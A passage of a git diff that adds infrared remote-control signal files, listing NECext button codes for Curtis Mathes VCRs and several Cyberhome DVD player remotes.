+address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_N +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: TXT_LANG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: TXT_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TXT_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: TXT_MAGN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: TXT_REV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: TXT_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: TXT_MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: TXT_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir new file mode 100644 index 000000000..2ef96445f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: REC/TIME +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 36 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 39 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: E5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir b/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir new file mode 100644 index 000000000..40fc7c6fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 01 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 02 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 03 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 04 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 05 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 56 00 00 00 +# +name: VCR_PLUS +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 5D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir new file mode 100644 index 000000000..ef59aa1c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 02 00 00 00 +# +name: BOOKMARK +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 04 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 16 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 18 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 19 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1E 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 40 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 4D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 50 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 51 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 54 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 55 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 58 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 59 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir new file mode 100644 index 000000000..0dba211fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 02 00 00 00 +# +name: BOOKMARK +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 04 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 15 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 16 00 00 00 +# +name: X_KEY_1/ALL +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 18 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 40 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 4D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 50 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 51 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 54 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 55 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 58 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 59 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir new file mode 100644 index 000000000..d87534d60 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 02 00 00 00 +# +name: X_KEY_1/all +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 04 00 00 00 +# +name: effect +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 06 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 16 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 18 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 40 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 4D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 50 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 54 00 00 00 +# +name: bookmark +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 55 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 58 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 59 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir new file mode 100644 index 000000000..d527e3b08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 02 00 00 00 +# +name: Goto +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 04 00 00 00 +# +name: Effect +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 06 00 00 00 +# +name: Bookmark +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: Repeat_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 16 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 40 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: +Ten +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 4D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 50 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 54 00 00 00 +# +name: Repeat_A-B +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 55 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 58 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 59 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir new file mode 100644 index 000000000..32d3f7828 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 02 00 00 00 +# +name: X_KEY_1/ALL +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 04 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 06 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 16 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 18 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 